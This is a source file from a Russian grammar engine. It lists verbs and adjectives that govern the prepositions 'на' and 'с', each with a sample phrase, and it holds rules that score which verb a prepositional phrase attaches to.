rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // 